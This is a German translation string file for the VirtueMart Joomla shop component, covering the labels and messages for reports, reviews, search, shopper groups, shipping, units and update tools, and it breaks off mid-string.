COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Verkaufsbericht, // unbenutzt?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Die ausgewählte Zeitspanne anzeigen" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="Dieser Monat" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Insgesamt verkaufte Artikel" COM_VIRTUEMART_REPORT_FROM_PERIOD="Von: " COM_VIRTUEMART_REPORT_INTERVAL="Intervall bestimmen" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="Enddatum" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Täglich" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="monatlich" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="wöchentlich" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="jährlich" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Anfangsdatum" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Letzte 30 Tage" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Letzte 60 Tage" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Letzte 90 Tage" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="Dieser Monat" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="Diese Woche" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="Dieses Jahr" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Heute" COM_VIRTUEMART_REPORT_SET_PERIOD="Zeitraum bestimmen: " COM_VIRTUEMART_REPORT_TITLE="Bericht für den Zeitraum von %s bis %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Bis: " COM_VIRTUEMART_RESET="Zurücksetzen" COM_VIRTUEMART_REVIEW="Käufer Rezension" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="Rezensionen automatisch veröffentlichen?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="Falls ausgewählt, werden eingereichte Rezensionen automatisch veröffentlicht. Falls nicht, muß der Administrator sie genehmigen/veröffentlichen." COM_VIRTUEMART_REVIEW_COUNT="Geschriebene Zeichen:" COM_VIRTUEMART_REVIEW_DETAILS="Käufer Rezension Details" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Bitte schreiben Sie ein paar mehr Worte in Ihrer Rezension. Minimal erlaubte Zeichen: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Bitte kürzen Sie Ihre Rezension. Maximal erlaubte Zeichen: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Produktrezensionen" COM_VIRTUEMART_REVIEW_LOGIN="Bitte loggen Sie sich ein um eine Rezension zu schreiben." COM_VIRTUEMART_REVIEW_RATE="Rezension & Bewertung" COM_VIRTUEMART_REVIEW_RATE_S="Rezensionen & Bewertungen" COM_VIRTUEMART_REVIEW_S="Käufer Rezensionen" COM_VIRTUEMART_RULES_EFFECTING="Betreffende Regeln: " COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Pfad für Rechnungen erstellt" COM_VIRTUEMART_SALES="Meistgekauft" COM_VIRTUEMART_SAMPLE_DATA="Beispieldateien
            installieren" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Beispieldaten installiert!!" COM_VIRTUEMART_SAVE="Speichern" COM_VIRTUEMART_SAVED_CART_TITLE="Warenkorb gespeichert" COM_VIRTUEMART_SAVE_PERMISSIONS="Berechtigungen speichern" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Suche in allen Kategorien" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Suche in allen Produktinformationen " COM_VIRTUEMART_SEARCH_AND="und" COM_VIRTUEMART_SEARCH_DESCRIPTION="Nur Produktbeschreibung" COM_VIRTUEMART_SEARCH_LBL="Suche" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Nur Hersteller/Verkäufer" COM_VIRTUEMART_SEARCH_NOT="nicht" COM_VIRTUEMART_SEARCH_ORDER_ASC="Aufsteigende Reihenfolge" COM_VIRTUEMART_SEARCH_ORDER_DESC="Absteigende Reihenfolge" COM_VIRTUEMART_SEARCH_PRODNAME="Nur Produktbezeichnung" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Alle Hersteller auswählen" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Hersteller auswählen" COM_VIRTUEMART_SEARCH_TITLE="Suche" COM_VIRTUEMART_SELECT="Wähle %s" COM_VIRTUEMART_SELECT_CATEGORY="Wählen Sie eine Kategorie..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Wählen Sie ein Plugin" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Wählen Sie das Standard Template für Ihren Shop" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Stilvorlagen ermöglichen individuelle Stilanpassungen Ihres Shops.
            Falls keine anderen Stile als 'Standard' vorhanden sind, haben Sie keine weiteren Stilvorlagen installiert." COM_VIRTUEMART_SELECT_FILE="Wählen Sie eine Datei" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Wählen Sie einen zu löschenden Eintrag" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Wählen Sie einen umzuschaltenden Eintrag" COM_VIRTUEMART_SELECT_MANUFACTURER="Hersteller auswählen" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Hersteller Kategorie wählen" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Wählen Sie eine Zahlungsart in dem Tab Zahlungsart Information und klicken Sie auf »Anwenden« um die dazugehörigen Eigenschaften hier anzuzeigen" COM_VIRTUEMART_SELECT_PERIOD="Zeitraum wählen" COM_VIRTUEMART_SELECT_PRODUCT="Wählen Sie ein Produkt" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Wählen Sie eine Versandart in dem Tab Versandart Information und klicken Sie auf »Anwenden« um die dazugehörigen Eigenschaften hier anzuzeigen" COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Wählen Sie einen zu ändernden Benutzer" COM_VIRTUEMART_SEND_BUTTON="Senden" COM_VIRTUEMART_SEND_SUB="Kontodetails für %s zu %s" COM_VIRTUEMART_SETSTOREOWNER="Ladenbesitzer einrichten" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Standard Käufergruppe geändert" COM_VIRTUEMART_SHARED="geteilt" COM_VIRTUEMART_SHIPMENTMETHOD="Versandart" COM_VIRTUEMART_SHIPMENTMETHOD_S="Versandarten" COM_VIRTUEMART_SHIPMENT_CLONE="Versandart klonen" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Versandart erfolgreich geklont" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Versand Beschreibung" COM_VIRTUEMART_SHIPMENT_NAME="Versand Bezeichnung" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Versand Bezeichnung" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Versandart klonen fehlgeschlagen" COM_VIRTUEMART_SHIPPINGRATE="Versandtarif" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Versandtarif Details" COM_VIRTUEMART_SHIPPINGRATE_S="Versandtarife" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Versandart" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Wählen Sie die zu verwendende Versandart für diese Methode und klicken Sie auf »Anwenden« um die dazugehörigen Eigenschaften im Konfigurations-Tab anzuzeigen" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Versandbeschreibung" COM_VIRTUEMART_SHIPPING_FORM_NAME="Versandbezeichnung" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Käufergruppe" COM_VIRTUEMART_SHIPPING_FORM_VAT="MwSt" COM_VIRTUEMART_SHIPPING_NAME="Versandunternehmen Bezeichnung" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Käufergruppe" COM_VIRTUEMART_SHIPTO_TEXT="Sie können Ihrem Konto Versandadressen hinzufügen. Bitte überlegen Sie sich ein passendes Kürzel oder einen Code für die nachfolgend auszuwählende Versandadresse." COM_VIRTUEMART_SHOPPERGROUP="Käufergruppe" COM_VIRTUEMART_SHOPPERGROUP_ADDED="Die Käufergruppe wurde hinzugefügt." COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Die Käufergruppe existiert bereits für den angegebenen Verkäufer." COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT="Sie können diese Käufergruppe %1$s mit der Kennziffer %2$s nicht als Standard festlegen" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Standard-Käufergruppe" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="Neue Käufer werden dieser Kundengruppe zugeordnet" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="Die Standard-Käufergruppe %1$s mit der Kennung %2$s kann nicht gelöscht werden" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="Der Käufergruppe %1$s mit der Kennung %2$s sind noch Benutzer zugeordnet" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Die Standard Shop Käufergruppe kann nicht gelöscht werden." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="Die Käufergruppen-Kennung" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Bitte wählen Sie eine zu löschende Käufergruppe." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="Dieser Käufergruppen-Kennung sind noch Benutzer zugeordnet" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Käufergruppe Beschreibung" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Käufergruppe Details" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Käufergruppenspezifische Preisanzeige einschalten" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Preisnachlass für die Standard-Käufergruppe (in %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="Ein positiver Betrag X bedeutet" COM_VIRTUEMART_SHOPPERGROUP_IDS="Käufergruppen" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Preisnachlass für die Käufergruppe" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Käufergruppe inkl. MwSt" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="Sie müssen eine Käufergruppen-Bezeichnung eingeben." COM_VIRTUEMART_SHOPPERGROUP_NAME="Käufergruppen-Bezeichnung" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="Die angegebene Käufergruppen-Bezeichnung existiert bereits für den angegebenen Verkäufer." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Käufergruppen-Bezeichnungen sollten höchstens 32 Zeichen haben" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="Käufergruppen müssen einen Namen haben" COM_VIRTUEMART_SHOPPERGROUP_S="Käufergruppen" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="Die Käufergruppe wurde aktualisiert." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Die Käufergruppe konnte nicht aktualisiert werden" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1="Addresse 1" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2="Adresse 2" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_INFO_LBL="Information" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_LABEL="Adressen-Kürzel" COM_VIRTUEMART_SHOPPER_FORM_BIRTHDAY="Geburtsdatum" COM_VIRTUEMART_SHOPPER_FORM_CITY="Stadt" COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME="Unternehmensname" COM_VIRTUEMART_SHOPPER_FORM_COUNTRY="Land" COM_VIRTUEMART_SHOPPER_FORM_EMAIL="E-mail" COM_VIRTUEMART_SHOPPER_FORM_EU_VATID="Ust-IdNr. (Nur EU Länder)" COM_VIRTUEMART_SHOPPER_FORM_FAX="Fax" COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME="Vorname" COM_VIRTUEMART_SHOPPER_FORM_GROUP="Käufergruppe" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_EXTENSION="Gebäudename" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_NO="Hausnummer" COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME="Nachname" COM_VIRTUEMART_SHOPPER_FORM_LBL="Zusatzinformation" COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME="Zweiter Vorname" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1="Passwort" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2="Passwort bestätigen" COM_VIRTUEMART_SHOPPER_FORM_PHONE2="Mobiltelefon" COM_VIRTUEMART_SHOPPER_FORM_PHONE="Telefon" COM_VIRTUEMART_SHOPPER_FORM_SHIPTO_LBL="Versandinformation" COM_VIRTUEMART_SHOPPER_FORM_SOCIALNUMBER="Personalausweisnummer" COM_VIRTUEMART_SHOPPER_FORM_STATE="Bundesstaat/Provinz/Region" COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR="Steuerbefreiungsnummer" COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE="Besondere Art der Besteuerung" COM_VIRTUEMART_SHOPPER_FORM_TITLE="Titel" COM_VIRTUEMART_SHOPPER_FORM_USERNAME="Benutzername" COM_VIRTUEMART_SHOPPER_FORM_ZIP="Postleitzahl" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Kundengruppen-Bezeichnung" COM_VIRTUEMART_SHOPPER_STATE_NAME="Bundesland Name" COM_VIRTUEMART_SHOPPER_TITLE_MISS="Frl." COM_VIRTUEMART_SHOPPER_TITLE_MR="Herr" COM_VIRTUEMART_SHOPPER_TITLE_MRS="Frau" COM_VIRTUEMART_SHOW="Anzeigen" COM_VIRTUEMART_SHOW_DISCOUNTED="Preisreduzierte Produkte" COM_VIRTUEMART_SHOW_FEATURED="Aktionsprodukte" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Das »Angemeldet bleiben« Kontrollkästchen beim Login anzeigen?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="Falls ausgewählt, wird das »Angemeldet bleiben« Kontrollkästchen auf der Kassenseite angezeigt. Nicht empfehlenswert bei Shared SSL, da der Benutzer sich gegen die Speicherung von einem Benutzer-Cookie entscheiden könnte. Dieses Benutzer-Cookie is aber notwendig, um den Benutzer auf beiden Domains eingeloggt zu halten." COM_VIRTUEMART_SKU="Artikelnummer" COM_VIRTUEMART_SLUG="SEF Alias" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Fehler" COM_VIRTUEMART_SQL_ERROR="SQL Fehler" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Standard VirtueMart Kategorien Layout" COM_VIRTUEMART_START_DATE="Anfangsdatum" COM_VIRTUEMART_START_SYNCRONIZING="Synchronisierung starten!" COM_VIRTUEMART_STATE="Bundesstaat" COM_VIRTUEMART_STATES_COUNTRY="Bundesstaat im Land %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="Zeige Staatenliste von
            %1$s" COM_VIRTUEMART_STATE_2_CODE="Bundesstaat (2) Kürzel" COM_VIRTUEMART_STATE_3_CODE="Bundesstaat (3) Kürzel" COM_VIRTUEMART_STATE_COUNTRY="Bundesstaat für Land %1$s" COM_VIRTUEMART_STATE_DETAILS="Status-Details" COM_VIRTUEMART_STATE_IDS="Staaten" COM_VIRTUEMART_STATE_LIST_LBL="Bundesstaaten Liste für" COM_VIRTUEMART_STATE_NAME="Bundesstaat Name" COM_VIRTUEMART_STATE_S="Bundesstaaten" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="aktive Produkte" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Käufer" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="inaktive Produkte" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="Neue Käufer" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="Neue Bestellungen" COM_VIRTUEMART_STATISTIC_STATISTICS="Statistiken" COM_VIRTUEMART_STATISTIC_SUM="Summe" COM_VIRTUEMART_STATISTIC_SUMMARY="Kontrollzentrum" COM_VIRTUEMART_STATUS="Status" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="Wir haben nur noch wenige Exemplare auf Lager" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="Wir haben noch reichlich Exemplare auf Lager" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="ntschuldigung, wir haben derzeit keine Exemplare dieses Artikels auf Lager" COM_VIRTUEMART_STOCK_LEVEL_LOW="Produkt-Lagerbestand gering" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Produkt-Lagerbestand ausreichend" COM_VIRTUEMART_STOCK_LEVEL_OUT="Produkt nicht auf Lager" COM_VIRTUEMART_STORE="Shop" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Währung" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="Liste aktzeptierter Währungen" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Name Ihres Unternehmens" COM_VIRTUEMART_STORE_FORM_COUNTRY="Staat" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Beschreibung" COM_VIRTUEMART_STORE_FORM_LBL="Shop Information" COM_VIRTUEMART_STORE_FORM_LEGAL="Rechtliche Informationen" COM_VIRTUEMART_STORE_FORM_MPOV="Mindestkaufbetrag für Ihren Shop" COM_VIRTUEMART_STORE_FORM_STATE="Land/Provinz/Region" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Allgemeine Geschäftsbedingungen" COM_VIRTUEMART_STORE_INFORMATION="Shop Information" COM_VIRTUEMART_STORE_MOD="Shop" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s Datensatz abgebrochen." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s konnte nicht gelöscht werden." COM_VIRTUEMART_STRING_DELETED="%s erfolgreich gelöscht." COM_VIRTUEMART_STRING_DELETED_ERROR="Fehler: Der %s konnte nicht gelöscht werden." COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Fehler: %s muss einen Namen haben." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="Der angegebene %s existiert bereits." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s fehlt im Datensatz! Datensatz kann nicht gespeichert werden ohne %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s Primärschlüssel fehlt! Datensatz kann nicht gespeichert werden ohne %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%1 Funktion verboten für Nicht-Verkäufer." COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%1 Funktion ausschließlich für den Administrator vorbehalten." COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s erfolgreich nach unten verschoben" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s erfolgreich nach oben verschoben" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Fehler: Der %s konnte nicht veröffentlicht werden." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s erfolgreich veröffentlicht." COM_VIRTUEMART_STRING_SAVED="%s erfolgreich gespeichert" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s konnte nicht gespeichert werden" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s erfolgreich gespeichert" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Fehler: Der %s Bundesstaat konnte nicht aktualisiert werden." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s Bundesstaat erfolgreich aktualisiert." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Fehler: Der %s konnte nicht gesperrt werden." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s erfolgreich gesperrt." COM_VIRTUEMART_SYNC_MEDIA_FILES="Synchronisiere Medien mit Virtuemart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Die Benutzung dieses Werkzeugs kann Ihren Shop komplett unbrauchbar machen. Bitte schalten Sie das Datenbank Aktualisierungs-Werkzeug ein und kommen dann hierher zurück." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="Um alle Werkzeuge nutzen zu können, müssen Sie '%1$s' aktivieren im Konfigurations-Panel." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="Die Konfigurationseinstellung '%1$s' ist aktiviert. Bitte deaktivieren Sie diese aus Sicherheitsgründen hier im Konfigurations-Panel." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="Systemstandards wiederhergestellt!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="VirtueMart Daten entfernt" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="VirtueMart Tabellen entfernt" COM_VIRTUEMART_TAX_EFFECTING="Angewandte Steuer: " COM_VIRTUEMART_TEMPLATE_DEFAULT="Standard Template" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Textbereich Eigenschaften" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Textfeld Eigenschaften" COM_VIRTUEMART_THANK_MESSAGE="Vielen Dank für Ihre Anfrage. Wir werden Sie so bald wie möglich kontaktieren." COM_VIRTUEMART_THRD_PARTY_CONTACT="Kontaktieren Sie den Entwickler %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="Anleitung für %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Miniaturbild nicht gefunden" COM_VIRTUEMART_TIME="Zeit" COM_VIRTUEMART_TITLE="Titel" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Titel in Benutzerfeld enthält unerlaubte Zeichen" COM_VIRTUEMART_TOGGLE_ADMIN="Admin-Schalter" COM_VIRTUEMART_TOGGLE_HIDDEN="Verbergen-Schalter" COM_VIRTUEMART_TOOLS_MOD="Werkzeuge" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Konfiguration mit Standardwerten erneuern" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="In der Datenbank gespeicherte Konfiguration löschen, Standards aus Datei laden und in dieser Sitzung einstellen?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

            Die Konfigurations-Einstellungen werden mit den Werten aus der Datei /administrator/components/com_virtuemart/virtuemart_defaults.cfg zurückgesetzt

            " COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Synchronisierung der Joomla
            Benutzer" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Läd Ihre Medien in die die Pfade:
            Medien Produkt url: %s
            Medien Kategorie url: %s
            Medien Hersteller url: %s

            Sie können diese URLs in den Konfigurations-Einstellungen ändern.

            " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Synchronisiere Medien mit
            Virtuemart" COM_VIRTUEMART_TOTAL="Summe" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="Definiert die Stammkategorie" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="Definiert die Stammkategorie Ansicht" COM_VIRTUEMART_TO_SET_PRODUCT="Definiert das Produkt" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="Definiert die Produktansicht" COM_VIRTUEMART_TYPE="Typ" COM_VIRTUEMART_TYPES="Typen" COM_VIRTUEMART_UNCATEGORIZED="--nicht kategorisiert--" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW="Produktvarianten ohne Kategoriezuordnung in Suchergebnissen und Modulen anzeigen?" COM_VIRTUEMART_UNCAT_CHILD_PRODUCTS_SHOW_EXPLAIN="Falls aktiviert, werden alle Produkte und Produktvarianten in Suchergebnissen und Standard-Modulen erscheinen. Falls deaktiviert, werden Produktvarianten ohne Kategoriezuordnung nicht angezeigt, sondern nur die Stammprodukte" COM_VIRTUEMART_UNINSTALL_NOTE="Deinstallation Info:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Die Deinstallation entfernt nicht die VirtueMart Tabellen aus ihrer Datenbank. Das ist Absicht, um die Aktualisierung ihrer Daten auf neue VirtueMart Versionen zu ermöglichen..
            Um die VirtueMart Tabellen zu entfernen, löschen Sie alle Tabellen mit dem _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Danke, daß Sie VirtueMart benutzt haben!" COM_VIRTUEMART_UNIT_NAME_100MG="100 Milligramm" COM_VIRTUEMART_UNIT_NAME_100ML="100 Milliliter" COM_VIRTUEMART_UNIT_NAME_CM="Zentimeter" COM_VIRTUEMART_UNIT_NAME_CUBM="Kubikmeter" COM_VIRTUEMART_UNIT_NAME_FOOT="Fuß" COM_VIRTUEMART_UNIT_NAME_G="Gramm" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramm" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pfund" COM_VIRTUEMART_UNIT_NAME_M="Meter" COM_VIRTUEMART_UNIT_NAME_MG="Milligram" COM_VIRTUEMART_UNIT_NAME_MM="Millimeter" COM_VIRTUEMART_UNIT_NAME_ONCE="Unze" COM_VIRTUEMART_UNIT_NAME_SM="Quadratmeter" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100MG="100 mg" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="Pf." COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="Oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Sperren" COM_VIRTUEMART_UNPUBLISHED="Gesperrt" COM_VIRTUEMART_UNPUBLISH_ITEM="Artikel sperren" COM_VIRTUEMART_UNWRITABLE="Nicht beschreibbar" COM_VIRTUEMART_UPDATE="Aktualisieren" COM_VIRTUEMART_UPDATEDATABASE="Installiere Tabellen
            oder falls notwendig
            aktualisiere diese" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Tabellen installieren/aktualisieren?" COM_VIRTUEMART_UPDATE_ALL="Alles" COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Jetzt überprüfen!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Aktualisierung herunterladen" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Aktuelle VirtueMart Version" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="Hier installierte VirtueMart Version" COM_VIRTUEMART_UPDATE_GENERAL="Allgemeine Daten (Medien, Kategorien, Hersteller, usw)" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="Dies installiert die VirtueMart Beispieldaten. Sind Sie sicher?" COM_VIRTUEMART_UPDATE_MIGRATION="Aktualisierung & Daten-Migration" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Server-Einstellungen der maximalen Ausführungszeit" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Speicherlimit des Servers" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Wählen Sie eine Aufgabe" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Migration von %s starten?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Datenmigration von VirtueMart 1.1.x auf VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

            Achtung!


            Die Benutzung dieses Werkzeugs kann Ihren Shop komplett unbrauchbar machen. Dieses Werkzeug ist für Entwickler gedacht.
